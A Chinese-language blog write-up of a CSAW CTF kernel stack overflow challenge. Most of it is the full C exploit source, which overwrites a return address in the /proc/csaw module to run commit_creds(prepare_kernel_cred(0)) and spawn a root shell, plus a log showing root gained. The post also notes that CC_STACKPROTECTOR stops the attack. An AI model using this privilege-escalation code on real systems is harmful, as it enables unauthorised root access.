Jon Oberheide在CTF上给出了一个kernel exploitation的挑战:
http://jon.oberheide.org/blog/2010/11/02/csaw-ctf-kernel-exploitation-challenge/,
其实就是一个kernel stack overflow的溢出, 据说在给定期间只有一支队伍完成了exploit程序, 拿到了通关文件。 我周末尝试exploit了一把, 在我的2.6.32内核上exploit成功。 但是根据Jon Oberheide说,他们的内核打开了CC_STACKPROTECTOR选项来防止kernel stack溢出, 于是我重新编译了内核, 发现原来的exploit程序确实不能用了。虽然Jon Oberheide给出的LKM模块中故意留了一个内核内存信息泄漏漏洞来帮助大家bypass CC_STACKPROTECTOR选项,但是通过这个技术挑战,我们发现新内核的CC_STACKPROTECTOR选项能够很好的抵御kernel stack overflow的溢出,内核可以尝试打开此选项来抵御kernel stack overflow 0day的攻击,没打开CC_STACKPROTECTOR选项前的exploit如下,有兴趣的同学可以继续尝试bypassCC_STACKPROTECTOR选项的攻击:
[wzt@localhost csaw]$ ./exp 128
[+] looking for symbols...
[+] found commit_creds addr at 0xc0446524.
[+] found prepare_kernel_cred addr at 0xc0446710.
[+] open /proc/csaw ok.
[+] write 128 bytes to /proc/csaw.
[+] We are root!
sh-3.2# id
uid=0(root) gid=0(root)
sh-3.2# uname -a
Linux localhost.localdomain 2.6.32 #3 SMP Sat Dec 25 12:23:19 CST 2010
i686 i686 i386 GNU/Linux
sh-3.2#
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <limits.h>
#include <inttypes.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/mman.h>
#include <sys/stat.h>
#define KALLSYMS_NAME "/proc/kallsyms"
#define USER_CS 0x73
#define USER_SS 0x7b
#define USER_FL 0x246
#define STACK(x) (x + sizeof(x) - 40)
void exit_code();
char exit_stack[1024 * 1024];
static void exit_kernel();
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long
cred);
typedef unsigned long __attribute__((regparm(3))) (*
_prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
int (*kernel_printk)(const char *fmt, ...);
static unsigned int uid, gid;
int __attribute__((regparm(3)))
kernel_code(struct file *file, void *vma)
{
commit_creds(prepare_kernel_cred(0));
exit_kernel();
return -1;
}
static inline __attribute__((always_inline)) void *get_current()
{
unsigned long curr;
__asm__ __volatile__ (
"movl %%esp, %%eax ;"
"andl %1, %%eax ;"
"movl (%%eax), %0"
: "=r" (curr)
: "i" (~8191)
);
return (void *) curr;
}
static inline __attribute__((always_inline)) void exit_kernel()
{
__asm__ __volatile__ (
"movl %0, 0x10(%%esp) ;"
"movl %1, 0x0c(%%esp) ;"
"movl %2, 0x08(%%esp) ;"
"movl %3, 0x04(%%esp) ;"
"movl %4, 0x00(%%esp) ;"
"iret"
::"i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
"i" (USER_CS), "r" (exit_code)
);
}
void test_kernel_code(void)
{
kernel_printk = 0xc04307ab;
kernel_printk("We are in kernel.\n");
exit_kernel();
}
void exit_code()
{
if (getuid() != 0) {
fprintf(stderr, "[-] Get root failed\n");
exit(-1);
}
printf("[+] We are root!\n");
execl("/bin/sh", "sh", "-i", NULL);
}
unsigned long find_symbol_by_proc(char *file_name, char *symbol_name)
{
FILE *s_fp;
char buff[200];
char *p = NULL, *p1 = NULL;
unsigned long addr = 0;
s_fp = fopen(file_name, "r");
if (s_fp == NULL) {
printf("open %s failed.\n", file_name);
return 0;
}
while (fgets(buff, 200, s_fp) != NULL) {
if (strstr(buff, symbol_name) != NULL) {
buff[strlen(buff) - 1] = '\0';
p = strchr(strchr(buff, ' ') + 1, ' ');
++p;
if (!p) {
return 0;
}
if (!strcmp(p, symbol_name)) {
p1 = strchr(buff, ' ');
*p1 = '\0';
sscanf(buff, "%lx", &addr);
//addr = strtoul(buff, NULL, 16);
printf("[+] found %s addr at 0x%x.\n",
symbol_name, addr);
break;
}
}
}
fclose(s_fp);
return addr;
}
void trigger(int len)
{
FILE *fp;
char buff[128];
uid = getuid();
gid = getgid();
setresuid(uid, uid, uid);
setresgid(gid, gid, gid);
printf("[+] looking for symbols...\n");
commit_creds = (_commit_creds)
find_symbol_by_proc(KALLSYMS_NAME, "commit_creds");
if (!commit_creds) {
printf("[-] not found commit_creds addr.\n");
return ;
}
prepare_kernel_cred =
(_prepare_kernel_cred)find_symbol_by_proc(KALLSYMS_NAME,
"prepare_kernel_cred");
if (!prepare_kernel_cred) {
printf("[-] not found prepare_kernel_cred addr.\n");
return ;
}
fp = fopen("/proc/csaw", "w");
if (!fp) {
perror("fopen");
return ;
}
printf("[+] open /proc/csaw ok.\n");
printf("[+] write %d bytes to /proc/csaw.\n", len);
memset(buff, 0x41, len);
*(int *)(buff + 64 + 8) = (int)kernel_code;
fwrite(buff, 1, 64 + 8 + 4, fp);
fclose(fp);
}
void usage(char *pro)
{
fprintf(stdout, "usage: %s <len>\n", pro);
}
int main(int argc, char **argv)
{
if (argc == 1) {
usage(argv[0]);
return 0;
}
trigger(atoi(argv[1]));
return 0;
}